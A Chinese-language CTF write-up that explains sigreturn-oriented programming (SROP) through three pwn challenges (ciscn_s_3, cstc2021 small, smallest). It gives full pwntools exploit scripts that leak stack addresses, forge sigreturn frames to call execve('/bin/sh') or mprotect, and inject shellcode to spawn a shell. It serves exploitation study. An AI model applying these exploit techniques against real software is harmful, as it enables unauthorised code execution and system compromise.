SROP
SROP
一:注意
小夥伴應該都看了很久的資料吧,其主要意思是透過系統呼叫來劫持程式流,我也不在這裡多逼逼hhh。先說幾點要注意的
1 2 3 | 1. 系統呼叫是核心態所做的事情 2.sigreturn 是系統呼叫,呼叫號在 64 位下位 15 (也就是說在沒有sigreturn系統呼叫地址的時候,只有rax = 15 且具有syscall才能進行sigreturn系統呼叫) 3. 在寫exp的時候,需要寫該程式的arch(context.log_level = "amd64" ) |
二:題目詳細介紹
1.ciscn_s_3
1.看ida
有read和write系統呼叫,有棧溢位,可以透過write來洩露/bin/sh地址,這樣就方便了很多。
這有gadgets,分別是sigreturn的系統呼叫號和execve的系統呼叫號
2.洩露地址
顧名思義,就是洩露我們輸入的資料在棧中的位置
1 2 3 4 5 6 | payload = "/bin/sh\x00" payload = payload.ljust( 0x10 , "\x00" ) + p64( 0x4004ed ) p.send(payload) p.recv( 0x20 ) binsh_addr = u64(p.recv( 8 )) - 280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280 print "binsh_addr = " + hex (binsh_addr) |
3.構造frame
這是最重要的部分,所以我會詳細的說一下
1 2 3 4 5 6 | frame = SigreturnFrame() frame.rax = 59 #constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = 0x400501 #syscall |
這就是構造的frame,當觸發sigreturn系統呼叫後,rax=59,rdi=binsh_addr,rsi=0,rdx=0,rip=0x400501
這樣就知道了把,sigreturn系統呼叫的作用就是恢復之前使用者態暫存器的值。
1 2 | payload = "/bin/sh\x00" + p64( 0 ) + p64( 0x4004DA ) + p64( 0x400501 ) + str (frame) #mov rax,15 = 0x4004DA p.send(payload) |
傳入payload之後,程式會執行0x4004DA,將rax賦值為15,然後執行0x400501即syscall,程式就會去棧中找到各個暫存器的值並pop到暫存器中,然後執行我們偽造的rip即syscall,達到getshell的目的
2.cstc2021 small
1.看ida
這題只有一個read系統呼叫,這就需要我們去偽造一個sigreturn系統呼叫然後讓其pop給各個暫存器我們偽造的值
2.思路
第一步在frame中構造棧遷移和read系統呼叫
1 2 3 4 5 6 7 8 9 10 11 12 | frame = SigreturnFrame() #偽造 frame.rax = 0 frame.rdi = 0 frame.rsi = 0x402500 frame.rdx = 0x300 frame.rip = 0x40102B frame.rsp = 0x402500 frame.rbp = 0x402500 payload = "a" * 0x18 + p64(vuln) + p64( 0x40102B ) + str (frame) # syscall = 0x40102B p.send(payload) p.sendline( "a" * 14 ) # |
傳入payload之後,程式執行vuln即重新執行read呼叫,我們輸入14個a之後(我用的sendline,在最後一個a後會有換行符,所以相當於輸入15個),rax=15,然後這時候填入棧中的0x40102B就進行了系統呼叫,pop出各個暫存器的值。此時rip是syscall,rax=0即呼叫read系統呼叫。
1 2 3 4 5 6 7 8 9 10 11 12 | frame = SigreturnFrame() frame.rax = 59 frame.rdi = 0x402500 frame.rip = 0x40102B frame.rsi = 0 frame.rdx = 0 payload = "\x00" * 8 + p64(vuln) + p64( 0x40102b ) + str (frame) p.sendline(payload) p.send( "q" * 8 + "/bin/sh" ) p.interactive() |
payload前八位是"\x00",因為執行完syscall(0x40102B),後續會pop rbp,然後ret回vuln函式再進行read系統呼叫,這個"q"*8是使rax=15,並且使/bin/sh正好在0x402500處。
這題與上題的區別就是,我們需要自己構造rax麻煩一點
3.smallest
這題很經典,我看了大概好幾個月,這幾個月中看了好幾遍,有一個地方一直不太通,今天上午問了漫牛老師,終於明白了,漫牛老師yyds,同時感謝我最愛的琪giegie
下面給出三種exp
1.exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" def g(): gdb.attach(p) input () syscall = 0x4000BE main = 0x4000B0 payload1 = p64(main) * 3 p.send(payload1) p.send( "\xB3" ) #rax = 1 stack_addr = u64(p.recv()[ 8 : 16 ]) success( "stack_addr:" + hex (stack_addr)) frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = stack_addr frame.rdx = 0x300 frame.rsp = stack_addr frame.rip = syscall payload2 = p64(main) + p64( 0 ) + str (frame) p.send(payload2) p.send(p64(syscall) + "a" * 7 ) #rax = 15 frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr + 0x200 # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rsp = stack_addr frame.rip = syscall payload3 = p64(main) + p64( 0 ) + str (frame) payload3 = payload3 + ( 0x200 - len (payload3)) * "a" + "/bin/sh\x00" p.send(payload3) p.send(p64(syscall) + "a" * 7 ) p.interactive() |
這幾個月我一直不明白為什麼要加p64(0),其實是因為防止呼叫sigreturn時所偽造的暫存器的值發生改變。
我畫個圖,這樣比較好解釋
2.exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" def g(): gdb.attach(p) input () syscall = 0x4000BE main = 0x4000B0 ret = 0x4000C0 payload1 = p64(main) * 3 p.send(payload1) p.send( "\xB3" ) #rax = 1 stack_addr = u64(p.recv()[ 8 : 16 ]) success( "stack_addr:" + hex (stack_addr)) frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = stack_addr frame.rdx = 0x300 frame.rsp = stack_addr frame.rip = syscall payload2 = p64(main) + p64( 0 ) + p64( 0 ) + str (frame) ############## here p.send(payload2) p.send(p64(ret) + "\xBE\x00\x40\x00\x00\x00\x00" ) #rax = 15 here frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr + 0x200 # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rsp = stack_addr frame.rip = syscall payload3 = p64(main) + p64( 0 ) + p64( 0 ) + str (frame) payload3 = payload3 + ( 0x200 - len (payload3)) * "a" + "/bin/sh\x00" p.send(payload3) p.send(p64(ret) + "\xBE\x00\x40\x00\x00\x00\x00" ) p.interactive() |
3.exp3
思路是利用mprotect修改text段許可權,傳入shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" main = 0x4000B0 syscall = 0x4000BE ret = 0x4000C0 def g(): gdb.attach(p) input () frame = SigreturnFrame() frame.rax = constants.SYS_mprotect #10 frame.rdi = 0x400000 frame.rsi = 0x1000 frame.rdx = 7 frame.rsp = 0x400128 frame.rip = syscall payload1 = p64(main) + p64( 0 ) + str (frame) p.send(payload1) p.send(p64(syscall) + "a" * 7 ) #rax = 15 #mprotect finished shellcode = asm( ''' mov rax,59 mov rdi,0x68732f6e69622f xor rsi,rsi xor rdx,rdx push rdi mov rdi,rsp syscall ''' ) payload = p64( 0x400138 ) + shellcode p.send(payload) p.interactive() |
相關文章
- linux中的訊號處理與SROP2022-01-18Linux